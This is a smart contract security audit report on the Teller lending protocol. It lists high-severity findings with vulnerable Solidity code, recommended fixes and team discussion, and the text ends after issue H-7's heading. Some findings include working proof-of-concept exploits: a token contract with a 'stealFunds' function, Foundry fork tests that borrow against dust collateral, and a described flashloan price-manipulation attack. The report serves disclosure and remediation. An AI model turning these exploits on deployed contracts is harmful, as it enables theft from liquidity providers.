SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Contest type:	Public
Prepared for:	Teller
Prepared by:	Sherlock
Lead Security Expert:	0xadrii
Dates Audited:	April 23 - April 29, 2024
Prepared on:	June 27, 2024

Introduction

Teller is a non-custodial lending book that enables time-based loans. The protocol supports any ERC20 (token) or ERC721 / ERC1155 (NFT) as collateral, with no margin liquidations for the duration of a loan. Teller is live on Ethereum, Base, Arbitrum, and Polygon.

Scope

Repository: teller-protocol/teller-protocol-v2-audit-2024

Branch: feature/initial-comments

Commit: 5226a72da9510d5676970386f4def6aa34d52fcc

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
17	12

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

EgisSecurity	0xrobsol	dirtymic
0xadrii	BoRonGod	blockchain555
0x73696d616f	0xLogos	y4y
pkqs90	Timenov	tjudz
bughuntoor	0xAnmol	smbv-1923
0x3b	aman	0xlucky
jovi	cryptic	BengalCatBalu
no	Bandit	psb01
merlin	IvanFitro	DPS
AuditorPraise	eeshenggoh	bareli
KupiaSec	OMEN	NoOne
CodeWasp	mgf15	Sungyuk1
samuraii77	MohammedRizwan	FastTiger
0xDjango	givn	cholakov
kennedy1030	Afriaudit	Bauchibred
Bauer	MaslarovK.eth	DenTonylifer

Issue H-1: Lender may not be able to close loan or get back lending token.

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/11

Found by

0xadrii, AuditorPraise, EgisSecurity, Timenov, aman, bughuntoor, pkqs90, samuraii77

Summary

The `TellerV2` smart contract offers lenders to claim a NFT by calling `claimLoanNFT`. This will set the `bid.lender` to the constant variable `USING_LENDER_MANAGER`. This is done to ensure that the lender will only be able to claim 1 NFT per bid. Because of that `getLoanLender` function is added to check who the real owner of the NFT is(the real lender). However that whole logic introduces problems that can cause lender to not be able to close a loan or get his lending tokens.

Vulnerability Detail

Lets split the issues and look at them separately:

Not being able to close a loan A lender can close a loan as long as the bid is accepted. This can be done by calling `lenderCloseLoan` or `lenderCloseLoan`.

```
function lenderCloseLoan(uint256 _bidId)
    external
    acceptedLoan(_bidId, "lenderClaimCollateral")
{
    Bid storage bid = bids[_bidId];
    address _collateralRecipient = bid.lender;

    _lenderCloseLoanWithRecipient(_bidId, _collateralRecipient);
}
```

```
function lenderCloseLoanWithRecipient(
    uint256 _bidId,
    address _collateralRecipient
) external {
    _lenderCloseLoanWithRecipient(_bidId, _collateralRecipient);
}
```

As can be seen, both functions call internal function `_lenderCloseLoanWithRecipient`.

```
function _lenderCloseLoanWithRecipient(
    uint256 _bidId,
    address _collateralRecipient
) internal acceptedLoan(_bidId, "lenderClaimCollateral") {
    require(isLoanDefaulted(_bidId), "Loan must be defaulted.");

    Bid storage bid = bids[_bidId];
    bid.state = BidState.CLOSED;

    address sender = _msgSenderForMarket(bid.marketplaceId);
    require(sender == bid.lender, "only lender can close loan");

    /*


      address collateralManagerForBid =
 ↪  address(_getCollateralManagerForBid(_bidId));

      if( collateralManagerForBid == address(collateralManagerV2) ){
         ICollateralManagerV2(collateralManagerForBid).lenderClaimCollateral(_bi ⌋
 ↪  dId,_collateralRecipient);
      }else{
         require( _collateralRecipient == address(bid.lender));

 ↪  ICollateralManager(collateralManagerForBid).lenderClaimCollateral(_bidId );
      }

      */

    collateralManager.lenderClaimCollateral(_bidId);

    emit LoanClosed(_bidId);
}
```

Notice this validation `require(sender == bid.lender, "only lender can close loan");`. If a lender claims loan NFT, the bid.lender will be `USING_LENDER_MANAGER`. This means that this check will fail and lender will not be able to close the loan. Also the same validation can be seen in `setRepaymentListenerForBid`.

Not being able to get lending tokens Lender got his loan NFT and now his bid is either `PAID` or `LIQUIDATED`. This will call the internal function `_sendOrEscrowFunds`:

```
function _sendOrEscrowFunds(uint256 _bidId, Payment memory _payment)
    internal
{
    Bid storage bid = bids[_bidId];
    address lender = getLoanLender(_bidId);

    uint256 _paymentAmount = _payment.principal + _payment.interest;

    // some code
}
```

This time the lender is determined by calling `getLoanLender` function:

```
function getLoanLender(uint256 _bidId)
    public
    view
    returns (address lender_)
{
    lender_ = bids[_bidId].lender;

    if (lender_ == address(USING_LENDER_MANAGER)) {
        return lenderManager.ownerOf(_bidId);
    }

    //this is left in for backwards compatibility only
    if (lender_ == address(lenderManager)) {
        return lenderManager.ownerOf(_bidId);
    }
}
```

If the bid.lender is `USING_LENDER_MANAGER`, then the owner of the NFT is the lender. However this may not be true as the lender can lose(transfer to another account or get stolen), or sell(without knowing it's purpose) . This means that the new owner of the NFT will get the lending tokens as well.

Impact

Lenders not being able to close a loan or get back lending tokens.

Code Snippet

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol#L724-L732 https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol#L738-L743

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol#L745-L755

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol#L901-L905

https://github.com/sherlock-audit/2024-04-teller-finance/blob/main/teller-protocol-v2-audit-2024/packages/contracts/contracts/TellerV2.sol#L1173-L1188

Tool used

Manual Review

Recommendation

For the first problem use `getLoanLender()` instead of `bid.lender`. Also in `getLoanLender` do not determine the lender by the owner of the NFT, but instead add a mapping that will keep track of who the real lender is.

Discussion

ethereumdegen

I agree with the fix to use getLoanLender().

However we do want the owner of the NFT to be able to close the loan not the original lender (if the nft is transferred) so there is not a need to add another mapping.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/10

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-2: `burnSharesToWithdrawEarnings` burns before math, causing the share value to increase

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/19

Found by

0x3b, 0x73696d616f, 0xadrii, Bauer, EgisSecurity, IvanFitro, eeshenggoh, jovi, no, pkqs90

Summary

The burnSharesToWithdrawEarnings function burns shares before calculating the share price, resulting in an increase in share value and causing users to be overpaid.

Vulnerability Detail

When `burnSharesToWithdrawEarnings` burns shares and subsequently calculates the principal per share, the share amount is reduced but the principal remains the same, leading to a decrease in the `sharesExchangeRateInverse`, which increases the principal paid.

Principal is calculated using _valueOfUnderlying, where the formula is:

```
uint256 principalTokenValueToWithdraw = (amount * 1e36) /
↪  sharesExchangeRateInverse();
```

The problem arises in sharesExchangeRateInverse which uses the reduced share count:

```
return  1e72 / sharesExchangeRate();
```

Where sharesExchangeRate is defined as:

```
rate_ = (poolTotalEstimatedValue * 1e36) / poolSharesToken.totalSupply();
```

Example:

- 1k shares and 10k principal.

1. Alice withdraws 20% of the shares.
2. 200 shares are burned, reducing the supply to 800.
3. Calculation for principal:

`rate_ = (10_000e18 * 1e36) / 800e18 = 1.25e37` `sharesExchangeRateInverse = 1e72 / 1.25e37 = 8e34` `principalTokenValueToWithdraw = 200e18 * 1e36 / 8e34 = 2500e18`

4. Alice withdraws 25% of the pool's principal, despite owning only 20% of the shares.

Impact

This flaw results in incorrect calculations, allowing some users to withdraw more than their fair share, potentially leading to insolvency.

Code Snippet

```
poolSharesToken.burn(msg.sender, _amountPoolSharesTokens);
uint256 principalTokenValueToWithdraw = _valueOfUnderlying(
    _amountPoolSharesTokens,
    sharesExchangeRateInverse()
);
```

Tool used

Manual Review

Recommendation

To ensure accurate withdrawal amounts, calculate `principalTokenValueToWithdraw` before burning the shares.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/11

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-3: Borrowers can brick the commitment group pool

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/42

The protocol has acknowledged this issue.

Found by

0x3b, 0xLogos, 0xadrii, EgisSecurity, bughuntoor, merlin, samuraii77

Summary

Borrowers can setRepaymentListenerForBid after directly borrowing from `TellerV2`. Upon repayment, `totalPrincipalTokensRepaid` will increase without a corresponding increase in `totalPrincipalTokensLended`. This discrepancy causes `getTotalPrincipalTokensOutstandingInActiveLoans` to underflow, which will brick commitment group contract.

Vulnerability Detail

When borrowing from LenderCommitmentGroup (LCG), the `acceptFundsForAcceptBid` function increases `totalPrincipalTokensLended` and calls _acceptBidWithRepaymentListener to log the bid as borrowed from LCG. Later, the _repayLoan function, having made `repaymentListenerForBid[_bidId] = _listener`, triggers _sendOrEscrowFunds which will call the repayLoanCallback inside LCG. This increases both `totalPrincipalTokensRepaid` and `totalInterestCollected`.

The flow balances `totalPrincipalTokensLended` on borrowing with `totalPrincipalTokensRepaid` on repayment, equalizing them.

However, borrowers can directly borrow from TellerV2 and call setRepaymentListenerForBid. Upon repayment, `totalPrincipalTokensRepaid` and `totalInterestCollected` will increase without a corresponding increase in `totalPrincipalTokensLended` (because the borrowing was direct from TellerV2).

- The inflation of `totalInterestCollected` causes share values to increase, generating unbacked profits.
- The inflation of `totalPrincipalTokensRepaid` leads to `getTotalPrincipalTokensOutstandingInActiveLoans` underflowing, potentially bricking the contract.

Note that user can even make custom tokens with infinite liquidity and use them to borrow / repay to maximize the damage.

Impact

Loss of funds.

Code Snippet

```
function setRepaymentListenerForBid(uint256 _bidId, address _listener) external {
    address sender = _msgSenderForMarket(bids[_bidId].marketplaceId);
    require(sender == bids[_bidId].lender, "Only the bid lender may set the
↪   repayment listener");
    repaymentListenerForBid[_bidId] = _listener;
}
```

Tool used

Manual Review

Recommendation

Make sure setRepaymentListenerForBid is callable only by the LCG.

```
-  function setRepaymentListenerForBid(uint256 _bidId, address _listener)
↪   external
+  function setRepaymentListenerForBid(uint256 _bidId, address _listener)
↪   onlyCommitmentGroup external
    {
        address sender = _msgSenderForMarket(bids[_bidId].marketplaceId);
        require( sender == bids[_bidId].lender,"Only bid lender may set
↪   repayment listener");
        repaymentListenerForBid[_bidId] = _listener;
    }
```

Discussion

ethereumdegen

I think this is already fixed by

```

require(
    sender == bids[_bidId].lender,
    "Only bid lender may set repayment listener"
);
```

since the group IS the lender . correct ?

meaning this is a non issue

nevillehuang

@ethereumdegen I believe what the watsons are trying to say here is that a malicious user can act as both the borrower and the lender, and can artificially inflate `totalPrincipalTokensRepaid` and `totalInterestCollected` which ultimately affects share computations. Perhaps issue #225 gives a better indepth description and a potential fix would be to only allow setting listener for active bids.

Issue H-4: liquidateDefaultedLoanWithIncentive sends the collateral to the wrong account

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/46

Found by

0x3b, 0x73696d616f, 0xAnmol, 0xDjango, AuditorPraise, EgisSecurity, KupiaSec, Timenov, blockchain555, bughuntoor, cryptic, jovi, kennedy1030, merlin, no, pkqs90, samuraii77, y4y

Summary

liquidateDefaultedLoanWithIncentive sends the collateral to the Lender - LenderCommitmentGroup (LCG) instead of the liquidator. Liquidators will not be incentivized to liquidate.

Vulnerability Detail

liquidateDefaultedLoanWithIncentive is intended to liquidate bids, where liquidators pay off the debt and receive the collateral. However, currently the collateral is sent to the lender - LCG, because lenderCloseLoanWithRecipient includes `msg.sender` as its second parameter but does not utilize it:

```
function lenderCloseLoanWithRecipient(uint256 _bidId, address
↪  _collateralRecipient) external {
    _lenderCloseLoanWithRecipient(_bidId, _collateralRecipient);
}

function _lenderCloseLoanWithRecipient(uint256 _bidId, address
↪  _collateralRecipient) internal acceptedLoan(_bidId, "lenderClaimCollateral")
↪  {
    require(isLoanDefaulted(_bidId), "Loan must be defaulted.");

    Bid storage bid = bids[_bidId];
    bid.state = BidState.CLOSED;

    address sender = _msgSenderForMarket(bid.marketplaceId);
    require(sender == bid.lender, "Only lender can close loan");

    //@audit we directly call `lenderClaimCollateral`
    collateralManager.lenderClaimCollateral(_bidId);
}
```

lenderClaimCollateral in its place withdraws the collateral directly to the lender - LCG, without updating `totalPrincipalTokensRepaid`. Some effects:

- Liquidators will gain 0 profits, so they will not liquidate.
- LPs suffer losses as liquidations are not carried out, and returned collateral from liquidations is not accrued as `totalPrincipalTokensRepaid`, increasing utilization, eventually bricking the contract.

Impact

Liquidators will not be incentivized to liquidate and incorrect accounting occurs inside LCG.

Code Snippet

```
function _lenderCloseLoanWithRecipient(
    uint256 _bidId,
    address _collateralRecipient // @audit never used
) internal acceptedLoan(_bidId, "lenderClaimCollateral") {
    require(isLoanDefaulted(_bidId), "Loan must be defaulted.");

    Bid storage bid = bids[_bidId];
    bid.state = BidState.CLOSED;

    address sender = _msgSenderForMarket(bid.marketplaceId);
    require(sender == bid.lender, "Only lender can close loan");

    collateralManager.lenderClaimCollateral(_bidId);
}
```

Tool used

Manual Review

Recommendation

Ensure _lenderCloseLoanWithRecipient sends the funds to `_collateralRecipient`.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/16/files

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-5: Anyone can steal pool shares from lender group if no-revert-on-failure tokens are used

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/50

Found by

0x73696d616f, 0xAnmol, 0xDjango, 0xLogos, 0xadrii, Bauchibred, Bauer, BengalCatBalu, BoRonGod, DenTonylifer, EgisSecurity, FastTiger, KupiaSec, MohammedRizwan, NoOne, Sungyuk1, Timenov, bareli, blockchain555, bughuntoor, cholakov, cryptic, jovi, kennedy1030, mgf15, no, pkqs90, psb01

Summary

Anyone can steal pool shares from lender group if no-revert-on-failure tokens are used.

Vulnerability Detail

The README says that the protocol supports all tokens from previous audit with an additional condition - tokens are assumed to be able to work with Uniswap V3. `ZRX` is a token that fits these conditions and can theoretically be used in `LenderCommitmentGroup_Smart.sol` as a principal token. https://coinmarketcap.com/dexscan/ethereum/0xfa97aa5002124fe7edd36584628300e8d81df042/ An attacker can take advantage of this, because the `addPrincipalToCommitmentGroup()` function uses an outdated token transfer method:

```
function addPrincipalToCommitmentGroup(
        uint256 _amount,
        address _sharesRecipient
    ) external returns (uint256 sharesAmount_) {
        //transfers the primary principal token from msg.sender into this
↪   contract escrow

        principalToken.transferFrom(msg.sender, address(this), _amount);   <<<

        sharesAmount_ = _valueOfUnderlying(_amount, sharesExchangeRate());

        totalPrincipalTokensCommitted += _amount;
        //principalTokensCommittedByLender[msg.sender] += _amount;

        //mint shares equal to _amount and give them to the shares recipient !!!
        poolSharesToken.mint(_sharesRecipient, sharesAmount_);
    }
```

ZRX is a token that do not revert on failure, instead it simply returns a `bool` value that is not checked:

```
function transferFrom(address _from, address _to, uint _value) returns (bool) {
        if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value &&
↪   balances[_to] + _value >= balances[_to]) {
            balances[_to] += _value;
            balances[_from] -= _value;
            allowed[_from][msg.sender] -= _value;
            Transfer(_from, _to, _value);
            return true;
        } else { return false; }
    }
```

Here is a simple POC that illustrates the issue: the transaction will not revert even if `balanceOf[msg.sender] < amount`, and the entire body of the function will be executed. Test this code in Remix: call the `stealFunds()` function using a different address then at deploying:

```
// SPDX-License-Identifier: AGPL-3.0-only

pragma solidity >=0.6.12;

contract NoRevertToken {
    // --- ERC20 Data ---
    string  public constant name = "Token";
    string  public constant symbol = "TKN";
    uint8   public decimals = 18;
    uint256 public totalSupply;
    uint256 public stolenAmount;

    mapping (address => uint)                      public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;

    event Approval(address indexed src, address indexed guy, uint wad);
    event Transfer(address indexed src, address indexed dst, uint wad);

    // --- Init ---
    constructor(uint _totalSupply) public {
        totalSupply = _totalSupply;
        balanceOf[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    // --- Token ---
    function transfer(address dst, uint wad) external returns (bool) {
        return transferFrom(msg.sender, dst, wad);
    }
    function transferFrom(address src, address dst, uint wad) virtual public
↪   returns (bool) {
        if (balanceOf[src] < wad) return false;                        //
↪   insufficient src bal
        if (balanceOf[dst] >= (type(uint256).max - wad)) return false; // dst
↪   bal too high

        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
            if (allowance[src][msg.sender] < wad) return false;        //
↪   insufficient allowance
            allowance[src][msg.sender] = allowance[src][msg.sender] - wad;
        }

        balanceOf[src] = balanceOf[src] - wad;
        balanceOf[dst] = balanceOf[dst] + wad;

        emit Transfer(src, dst, wad);
        return true;
    }
    function approve(address usr, uint wad) virtual external returns (bool) {
        allowance[msg.sender][usr] = wad;
        emit Approval(msg.sender, usr, wad);
        return true;
    }

   // ---------------------------------------------------------- //

    function stealFunds(uint256 amount) public{
        //principalToken.transferFrom(msg.sender, address(this), _amount);
        transferFrom(msg.sender, address(this), amount);

        //poolSharesToken.mint(_sharesRecipient, sharesAmount_);
        stolenAmount += amount;
    }
}
```

Impact

An attacker could call the function `addPrincipalToCommitmentGroup()` with arguments(ex. too big value of `_amount`) that would cause `transferFrom()` to return `false` but not revert, so he wouldn't lose anything. Then pool shares will be minted to his address, which he can exchange for principal tokens of other users using the `burnSharesToWithdrawEarnings()` function:

```
function burnSharesToWithdrawEarnings(
        uint256 _amountPoolSharesTokens,
        address _recipient
    ) external returns (uint256) {
        poolSharesToken.burn(msg.sender, _amountPoolSharesTokens);

        uint256 principalTokenValueToWithdraw = _valueOfUnderlying(
            _amountPoolSharesTokens,
            sharesExchangeRateInverse()
        );

        totalPrincipalTokensWithdrawn += principalTokenValueToWithdraw;

        principalToken.transfer(_recipient, principalTokenValueToWithdraw);

        return principalTokenValueToWithdraw;
    }
```

It will also break the calculation of an important variables `totalPrincipalTokensCommitted` and `totalPrincipalTokensWithdrawn`, which will have a bad effect on other users.

Code Snippet

https://github.com/sherlock-audit/2024-04-teller-finance/blob/defe55469a25767 35af67483acf31d623e13592d/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.sol#L313

Tool used

Manual Review

Recommendation

Consider using `safeTransferFrom()` instead of `transferFrom()` or check its return value and revert if it's `false`.

Discussion

ethereumdegen

Same fix as #239 so will fix

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/30

nevillehuang

Highlights only transfer/transferFrom boolean reverts

- 92
- 142
- 194
- 211

Highlights only approval boolean reverts

- 9
- 26
- 37
- 49

Highlights both transfer/transferfrom and approval boolean reverts

- 128
- 239
- 266

Highlights only unchecked boolean return values for certain tokens (e.g. ZRX, BNB)

- 4
- 17
- 50
- 52
- 75
- 118
- 150
- 181
- 182
- 194

- 199
- 213
- 221
- 249
- 256
- 265
- 288

Highlights both transfer/transferfrom reverts and unchecked boolean return values

- 5
- 6
- 27
- 227

There are 2 impacts, although same fix is employed. Likely duplicates given same root cause of not using safe ERC20 transfers/approve

- Reverts from incorrect function signature or transfer/transferFrom/approve (e.g. USDT) --> Medium severity
- Unchecked return value, false without transferring and does not revert (e.g. ZRX, BNB) --> High severity, can repay/add principal tokens without transferring

[High] finding-token-unchecked-return-value

- 4
- 17
- 50 - best
- 52
- 75
- 118
- 150
- 181
- 182
- 194

- 199
- 213
- 221
- 249
- 256
- 265
- 288

[Medium] finding-token-revert-boolean

- 5
- 6
- 9
- 26
- 27
- 37
- 49
- 92
- 100
- 128
- 142
- 147
- 198
- 211
- 227
- 239 - best
- 266

nevillehuang

After discussions with @cvetanovv, planning to duplicate duplicates of #239 and #50 given same root cause of not using safe ERC20 transfers/approve. Given issue #239 has shown a potential high impact, all of its duplicates will be high severity as well based on sherlock duplications rules

Scenario A: There is a root cause/error/vulnerability A in the code. This vulnerability A -> leads to two attack paths:

- B -> high severity path
- C -> medium severity attack path/just identifying the vulnerability. Both B & C would not have been possible if error A did not exist in the first place. In this case, both B & C should be put together as duplicates.

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-6: Drained lender due to `LenderCommitmentGroup_Smart::acceptFundsForAcceptBid()` `_collateralAmount` by `STANDARD_EXPANSION_FACTOR` multiplication

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/58

Found by

0x3b, 0x73696d616f, 0xadrii, EgisSecurity, KupiaSec, bughuntoor, cryptic, kennedy1030, no, pkqs90

Summary

`LenderCommitmentGroup_Smart::acceptFundsForAcceptBid()` multiplies `_collateralAmount` by `STANDARD_EXPANSION_FACTOR` (`1e18`), allowing users to borrow with `1e18` times less collateral.

Vulnerability Detail

Uniswap `sqrtPriceX96` is `token1 / token0 * 2**96` , which if squared and divided by `(2**96)^2` equals `token1 / token0`. `LenderCommitmentGroup_Smart::_getPriceFromSqrtX96()` computes `uint256 priceX96 = (uint256(_sqrtPriceX96) * uint256(_sqrtPriceX96)) / (2**96);`, which still has `2**96` extra precision. Then in `LenderCommitmentGroup_Smart::token0ToToken1()` and `LenderCommitmentGroup_Smart::token1ToToken0()`, the `2**96` factor is eliminated by multiplying or dividing by `2**96`, respectively (`UNISWAP_EXPANSION_FACTOR`).

Thus, `LenderCommitmentGroup_Smart::getCollateralRequiredForPrincipalAmount()` returns `token1 / token0` (or `token0 / token1` if the principal is `token1`), which is not multiplied by a factor of `STANDARD_EXPANSION_FACTOR`, as the code implies.

This means that an user needs `STANDARD_EXPANSION_FACTOR == 1e18` times less collateral than supposed to borrow.

A test was carried out to confirm the behaviour. An user borrows `10_000e18 DAI` with `4 WETH`.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test, console2 as console} from "forge-std/Test.sol";

import {LenderCommitmentGroup_Smart} from "../../../../contracts/LenderCommitmen ⌋
↪  tForwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.sol";
import {TellerV2} from "../../../../contracts/TellerV2.sol";
import {MarketRegistry} from "../../../../contracts/MarketRegistry.sol";
import {ReputationManager} from "../../../../contracts/ReputationManager.sol";
import {SmartCommitmentForwarder} from "../../../../contracts/LenderCommitmentFo ⌋
↪  rwarder/SmartCommitmentForwarder.sol";
import {CollateralEscrowV1} from
↪  "../../../../contracts/escrow/CollateralEscrowV1.sol";
import {UpgradeableBeacon} from
↪  "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {CollateralManager} from "../../../../contracts/CollateralManager.sol";
import {LenderManager} from "../../../../contracts/LenderManager.sol";
import {EscrowVault} from "../../../../contracts/EscrowVault.sol";
import {IMarketRegistry} from
↪  "../../../../contracts/interfaces/IMarketRegistry.sol";
import {IASRegistry} from "../../../../contracts/interfaces/IASRegistry.sol";
import {IEASEIP712Verifier} from
↪  "../../../../contracts/interfaces/IEASEIP712Verifier.sol";
import {TellerASRegistry} from "../../../../contracts/EAS/TellerASRegistry.sol";
import {TellerASEIP712Verifier} from
↪  "../../../../contracts/EAS/TellerASEIP712Verifier.sol";
import {TellerAS} from "../../../../contracts/EAS/TellerAS.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PaymentType, PaymentCycleType} from
↪  "../../../../contracts/libraries/V2Calculations.sol";


contract LenderCommitmentGroup_Smart_test is Test {
    LenderCommitmentGroup_Smart lender;
    TellerV2 tellerV2;
    MarketRegistry marketRegistry;
    ReputationManager reputationManager;
    SmartCommitmentForwarder smartCommitmentForwarder;
    CollateralEscrowV1 escrowImplementation;
    UpgradeableBeacon escrowBeacon;
    CollateralManager collateralManager;
    LenderManager lenderManager;
    EscrowVault escrowVault;
    ERC20 DAI;
    ERC20 WETH;
    address attacker;
    address user;
    uint256 marketId;

    function setUp() public {
        vm.createSelectFork("https://eth.llamarpc.com", 19739232);
```

```
DAI = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
vm.label(address(DAI), "DAI");
vm.label(address(WETH), "WETH");

attacker = makeAddr("attacker");
user = makeAddr("user");

address trustedForwarder = address(0);
tellerV2 = new TellerV2(trustedForwarder);

uint16 _protocolFee = 100;

IASRegistry iasRegistry = new TellerASRegistry();
IEASEIP712Verifier ieaseip712verifier = new TellerASEIP712Verifier();

TellerAS tellerAS = new TellerAS((iasRegistry), (ieaseip712verifier));
marketRegistry = new MarketRegistry();

marketRegistry.initialize(tellerAS);

reputationManager = new ReputationManager();

smartCommitmentForwarder = new SmartCommitmentForwarder(
        address(tellerV2),
        address(marketRegistry)
    );

escrowImplementation = new CollateralEscrowV1();

escrowBeacon = new UpgradeableBeacon(
    address(escrowImplementation)
);

collateralManager = new CollateralManager();

lenderManager = new LenderManager(
    IMarketRegistry(marketRegistry)
);

escrowVault = new EscrowVault();

collateralManager.initialize(address(escrowBeacon), address(tellerV2));

lenderManager.initialize();
```

```
        reputationManager.initialize(address(tellerV2));

        tellerV2.initialize(
            _protocolFee,
            address(marketRegistry),
            address(reputationManager),
            address(smartCommitmentForwarder),
            address(collateralManager),
            address(lenderManager),
            address(escrowVault)
        );

        lender = new LenderCommitmentGroup_Smart(
            address(tellerV2),
            address(smartCommitmentForwarder),
            0x1F98431c8aD98523631AE4a59f267346ea31F984
        );

        address marketOwner = makeAddr("marketOwner");
        vm.prank(marketOwner);
        marketId = marketRegistry.createMarket(
            marketOwner,
            1 days,
            5 days,
            7 days,
            900,
            false,
            false,
            PaymentType.EMI,
            PaymentCycleType.Seconds,
            "uri"
        );

        lender.initialize(
            address(DAI),
            address(WETH),
            marketId,
            5000000,
            0,
            800,
            10000,
            10000,
            3000,
            5
        );
    }
    function test_POC_Wrong_STANDARD_EXPANSION_FACTOR_multiplication() public {
        uint256 principalAmount = 10_000e18;
        deal(address(DAI), attacker, principalAmount);
        vm.startPrank(attacker);

        // add principal to lender to get shares
        DAI.approve(address(lender), principalAmount);
        lender.addPrincipalToCommitmentGroup(principalAmount, attacker);

        // approve the forwarder
        tellerV2.approveMarketForwarder(marketId,
 ↪  address(smartCommitmentForwarder));

        // borrow the principal
        uint256 collateralAmount = 4;
        deal(address(WETH), attacker, collateralAmount);
        WETH.approve(address(collateralManager), collateralAmount);
        smartCommitmentForwarder.acceptCommitmentWithRecipient(
            address(lender),
            principalAmount,
            collateralAmount,
            0,
            address(WETH),
            attacker,
            0,
            2 days
        );

        vm.stopPrank();
    }
}
```

Impact

Drained `LenderCommitmentGroup_Smart` as borrowers may borrow all the `principal` with a dust amount of collateral, disincentivizing liquidations.

Code Snippet

LenderCommitmentGroup_Smart::acceptFundsForAcceptBid()

```
require(
    (_collateralAmount * STANDARD_EXPANSION_FACTOR) >=
        requiredCollateral,
    "Insufficient Borrower Collateral"
);
```

Tool used

Manual Review

Vscode

Foundry

Recommendation

Remove `STANDARD_EXPANSION_FACTOR` from the collateral calculation

```
require(
    _collateralAmount >=
        requiredCollateral,
    "Insufficient Borrower Collateral"
);
```

Discussion

ethereumdegen

Will fix. need to write a better test for

"Insufficient Borrower Collateral" case

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/teller-protocol/teller-protocol-v2-audit-2024/pull/18

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-7: `LenderCommitmentGroup_Smart` picks the wrong Uniswap price, allowing borrowing at a discount by swapping before withdrawing

Source:
https://github.com/sherlock-audit/2024-04-teller-finance-judging/issues/109

Found by

0x73696d616f, 0xadrii, AuditorPraise, EgisSecurity, pkqs90

Summary

`LenderCommitmentGroup_Smart` calculates the spot and `twap` prices of the Uniswap pool and ideally picks the worst price for the user, but this is not the case and the opposite is true.

Vulnerability Detail

`LenderCommitmentGroup_Smart::_getCollateralTokensAmountEquivalentToPrincipalTokens()` is called when calculating the required collateral when taking a loan in `LenderCommitmentGroup_Smart::acceptFundsForAcceptBid()`. In this function, the worst price is supposed to be picked by picking the minimum between `pairPriceWithTwap` and `pairPriceImmediate` when the principal token is `token0` and the maximum when the principal token is `token1`. However, this is incorrect and the logic should be switched.

When the principal token is `token0`, the collateral required is obtained by multiplying the ratio `token1 / token0` by the amount of principal. Thus, the protocol should pick the maximum price such that a bigger amount of collateral is required `collateralAmount = price * principalAmount`, where `price == token1 / token0`. In case the principal token is `token1`, the minimum amount should be picked, as it divides by the price instead.

A poc was carried out where logs were placed to fetch the values of `pairPriceWithTwap`, `pairPriceImmediate`, `worstCasePairPrice` and `collateralTokensAmountToMatchValue` confirming that the best price for the borrower is picked. Insert the following test in the test file pasted in issue 'Drained lender due to LenderCommitmentGroup_Smart::acceptFundsForAcceptBid() _collateralAmount by STANDARD_EXPANSION_FACTOR multiplication' and place the mentioned logs to confirm the behaviour:

```
function test_POC_wrongUniswapPricePicked() public {
    uint256 principalAmount = 1e18;
    deal(address(DAI), user, principalAmount);
    vm.startPrank(user);

    // add principal to lender to get shares
    DAI.approve(address(lender), principalAmount);
    uint256 shares = lender.addPrincipalToCommitmentGroup(principalAmount, user);

    // approve the forwarder
    tellerV2.approveMarketForwarder(marketId, address(smartCommitmentForwarder));

    // borrow the principal
    uint256 collateralAmount = 1e18;
    deal(address(WETH), user, collateralAmount);
    WETH.approve(address(collateralManager), collateralAmount);
    uint256 bidId = smartCommitmentForwarder.acceptCommitmentWithRecipient(
        address(lender),
        principalAmount,
        collateralAmount,
        0,
        address(WETH),
        user,
        0,
        2 days
    );
    vm.stopPrank();
}
```

Impact

As the borrower gets the best price, it may do a flashloan on another pool, swap in the pool that the `LenderCommitmentGroup_Smart` is using to manipulate the ratio and get principal almost for free and then repay the flashloan, stealing the funds from LPs.

Code Snippet

